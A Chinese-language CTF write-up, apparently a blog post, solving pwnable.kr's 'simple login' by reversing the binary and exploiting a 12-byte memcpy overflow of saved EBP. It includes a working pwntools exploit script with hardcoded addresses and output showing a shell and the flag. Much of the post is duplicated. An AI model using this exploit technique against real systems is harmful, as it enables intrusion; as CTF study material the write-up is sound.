pwnable.kr [Rookiss] - [simple login]
2017-03-23 22:46
351 查看
Can you get authentication from this server?
Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
Rookiss 初体验就从相对熟悉的逆向这一块开始好了。
下载好文件后发现是 elf 64 ,在虚拟机上简单跑一跑,要求输入一个 Authenticate ,程序会返回一个 hash 值,猜测是登录验证需要验证 hash,随即猜测正常流程应该走不通。而 romote host 又无法实现爆破,再猜测是需要溢出 :P
然后到物理机用 IDA 直接静态分析程序流程,茫茫多的静态模块….
不过还好程序流程并不复杂,粗略看了 IDA 的流程分析后,可以直接在程序入口处 F5, F4, F3;当前也可以直接看!
分析程序流程的过程无法用简单的语言描述, 反正看就是了。
笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。
main 函数的 Snowman F3 插件转换的伪代码如下:
分析得到程序的大致执行流程如下:
main 函数执行输入 Authenticate
Authenticate 由 Base64 解码后判断长度是否大于12,大于则提示 Wrong Length
输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处
之后转入 auth 函数,参数中包含解码后的字串和其长度
auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中
计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较
比较结果如果为相等,则返回 true,否则返回 false
返回 main 函数,判断 auth 函数的返回值
如果 auth 返回 false,则程序退出
如果 auth 返回 true ,进入correct 函数
判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef,若是,则输出成功信息并得到 shell ;否则退出程序
简单分析完毕后差不多就有一点思路了,正常流程既要验证 hash,前8个字节又要固定,基本是不可能的。
这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码:
![](https://img-blog.csdn.net/20170323213117853?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMTk1NTA1MTM=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
可以看到在
auth 返回处的汇编代码如下:
这两个指令可以转化为
在这个程序中,只有输入的字串 Authenticate 是完全由我们控制的,设这里 Authenticate 经过 Base64 解码后为 playload。
那么第一次 leave retn 执行结束后,ebp = 淹没的 4 字节数据,即 playload 的最后 4 个字节内容;
第二次 leave retn 执行结束时,执行
接下来的问题是怎么构造 playload。由于 playload 为 12 字节,而这里淹没的数据块和劫持流程的地址加起来为 8 字节,所以这里 playload
4000
很好地满足跳板的要求。
这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址;中间 4 个字节的值就可以传递到 eip 来控制程序流程,头 4 个字节作为长度填充(当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值,最后 4 字节的值为所需 eip 的值的地址 - 4 即可,其他 4 字节内容作为填充)。
中间的 4 个字节比较好分析,直接到 correct 函数的输出成功信息处:(跳过前4个字节的验证)
![](https://img-blog.csdn.net/20170323220805479?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMTk1NTA1MTM=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
可以看到需要劫持程序前往的地址为0x08049278。
最后还需要去找 playload 的起始地址,最简单的方法就是在 IDA input offset 处双击即可看到:
![](https://img-blog.csdn.net/20170323222132567?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMTk1NTA1MTM=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
![](https://img-blog.csdn.net/20170323222212313?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMTk1NTA1MTM=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
可以看到 playload 的起始地址为 0x0811EB40。
终于可以写 exploit 了!填充内容是什么无关紧要,本着尊敬题目的原则,playload起始 4 字节的内容在这里还是根据 ‘0xdeadbeef’ 来进行 Base64 加密,用 pwntools 构造 exploit如下:
不出意外地得到了 shell:
正如 flag 说的,溢出的核心在我看来就是利用程序的某个漏洞找到跳板,绕过程序的各个验证机制,逐步劫持执行流程的过程。
切莫贪食,切莫不食。路还很长。
ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试,但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程,简单的搭建和操作之后会有介绍。
Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
Rookiss 初体验就从相对熟悉的逆向这一块开始好了。
下载好文件后发现是 elf 64 ,在虚拟机上简单跑一跑,要求输入一个 Authenticate ,程序会返回一个 hash 值,猜测是登录验证需要验证 hash,随即猜测正常流程应该走不通。而 romote host 又无法实现爆破,再猜测是需要溢出 :P
然后到物理机用 IDA 直接静态分析程序流程,茫茫多的静态模块….
不过还好程序流程并不复杂,粗略看了 IDA 的流程分析后,可以直接在程序入口处 F5, F4, F3;当前也可以直接看!
分析程序流程的过程无法用简单的语言描述, 反正看就是了。
笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。
main 函数的 Snowman F3 插件转换的伪代码如下:
int32_t main() { void** esp1; int32_t v2; int32_t eax3; int32_t eax4; void* esp5; void** esp6; uint32_t eax7; int32_t eax8; esp1 = (void**)(((uint32_t)((int32_t)"zero stack offset"() - 4) & 0xfffffff0) - 64); memset((uint32_t)esp1 + 30, 0, 30, v2); eax3 = g811b860; setvbuf(eax3, 0, 2, 0); eax4 = g811b864; setvbuf(eax4, 0, 1, 0); printf("Authenticate : ", 0, 1, 0); esp5 = (void*)(esp1 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1); __isoc99_scanf("%30s", (uint32_t)esp5 + 30, 1, 0); memset(0x811eb40, 0, 12, 0); esp6 = (void**)((uint32_t)esp5 - 4 + 4 - 4 + 4); eax7 = Base64Decode((uint32_t)esp6 + 30, esp6 + 6, 12, 0); if (eax7 > 12) { puts("Wrong Length", esp6 + 6, 12, 0); } else { memcpy(0x811eb40, 0, eax7, 0); eax8 = auth(eax7, 0, eax7, 0); if (eax8 == 1) { correct(eax7, 0, eax7, 0); } } return 0; }
分析得到程序的大致执行流程如下:
main 函数执行输入 Authenticate
Authenticate 由 Base64 解码后判断长度是否大于12,大于则提示 Wrong Length
输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处
之后转入 auth 函数,参数中包含解码后的字串和其长度
auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中
计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较
比较结果如果为相等,则返回 true,否则返回 false
返回 main 函数,判断 auth 函数的返回值
如果 auth 返回 false,则程序退出
如果 auth 返回 true ,进入correct 函数
判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef,若是,则输出成功信息并得到 shell ;否则退出程序
简单分析完毕后差不多就有一点思路了,正常流程既要验证 hash,前8个字节又要固定,基本是不可能的。
这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码:
可以看到在
call memcpymem(des, src, len) ,上方依次压入了三个参数(从右到左),分别是 len ,src,des。通过计算 0Ch + var_14 = 0Ch - 14h = -8,可知 des 的地址在 ebp 的上方(低地址处),偏移为 8 字节,而我们最多可输入 12 字节的内容,所以当输入 12 字节时,ebp 会被淹没。故而可以通过控制 ebp 的值来控制程序流程。
auth 返回处的汇编代码如下:
.text:0804930B leave .text:0804930C retn
这两个指令可以转化为
mov esp, ebp ;esp的内容为ebp指向的栈地址 pop ebp ;ebp = ebp指向的栈地址中保存的值,esp + 4 pop eip ;程序转到 esp + 4 指向的地址执行
在这个程序中,只有输入的字串 Authenticate 是完全由我们控制的,设这里 Authenticate 经过 Base64 解码后为 playload。
那么第一次 leave retn 执行结束后,ebp = 淹没的 4 字节数据,即 playload 的最后 4 个字节内容;
第二次 leave retn 执行结束时,执行
mov esp, ebp使得 esp 为 playload 最后 4 个字节的值,两次pop 后,得到 eip = playload 最后 4 个字节的值 + 4 的空间中保存的值。
接下来的问题是怎么构造 playload。由于 playload 为 12 字节,而这里淹没的数据块和劫持流程的地址加起来为 8 字节,所以这里 playload
4000
很好地满足跳板的要求。
这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址;中间 4 个字节的值就可以传递到 eip 来控制程序流程,头 4 个字节作为长度填充(当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值,最后 4 字节的值为所需 eip 的值的地址 - 4 即可,其他 4 字节内容作为填充)。
中间的 4 个字节比较好分析,直接到 correct 函数的输出成功信息处:(跳过前4个字节的验证)
可以看到需要劫持程序前往的地址为0x08049278。
最后还需要去找 playload 的起始地址,最简单的方法就是在 IDA input offset 处双击即可看到:
可以看到 playload 的起始地址为 0x0811EB40。
终于可以写 exploit 了!填充内容是什么无关紧要,本着尊敬题目的原则,playload起始 4 字节的内容在这里还是根据 ‘0xdeadbeef’ 来进行 Base64 加密,用 pwntools 构造 exploit如下:
from pwn import * FILL = 0xdeadbeef SHELL = 0x08049278 BUF = 0x0811EB40 HOST = "pwnable.kr" PORT = 9003 loginer = remote(HOST, PORT) playload = (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64") loginer.recvuntil("Authenticate :") loginer.sendline(playload) loginer.interactive() loginer.close()
不出意外地得到了 shell:
$ python exploit_login.py [+] Opening connection to pwnable.kr on port 9003: Done [*] Switching to interactive mode hash : b307a813333efb8b1a35c6e5b5cbbabe Congratulation! you are good! $ ls -l total 7852 -r--r----- 1 root simplelogin 58 Jun 10 2014 flag -rw------- 1 root root 7070263 Mar 23 07:26 log -r-xr-x--- 1 root simplelogin 955184 Jun 10 2014 simplelogin -rwx------ 1 root root 784 Oct 23 07:43 super.pl $ cat flag control EBP, control ESP, control EIP, control the world~
正如 flag 说的,溢出的核心在我看来就是利用程序的某个漏洞找到跳板,绕过程序的各个验证机制,逐步劫持执行流程的过程。
切莫贪食,切莫不食。路还很长。
ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试,但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程,简单的搭建和操作之后会有介绍。
相关文章推荐
- pwnable.kr之simple login详解
- pwnable 笔记 Rookiss - simple login - 50 pt
- simple login(Pwnable.kr)
- pwnable.kr simple login writeup
- pwnable.kr 之simplelogin
- PWN学习之[Rookiss]-[simple login]
- pwnable之simple login
- pwnable simple login
- Writeup of pwnable.simple_login
- pwnable.kr-random-Writeup
- pwnable.kr [Toddler's Bottle] - flag
- Example for Simple Login
- validation of a simple user login form
- pwnable.kr uaf writeup
- pwnable.kr - simple login
- pwnable.kr第二遍---lotto blackjack
- gdb-peda调试pwnable.kr题目random
- pwnable.kr
- pwnable.kr write up 之 sample login
- pwnable.kr-cmd1-Writeup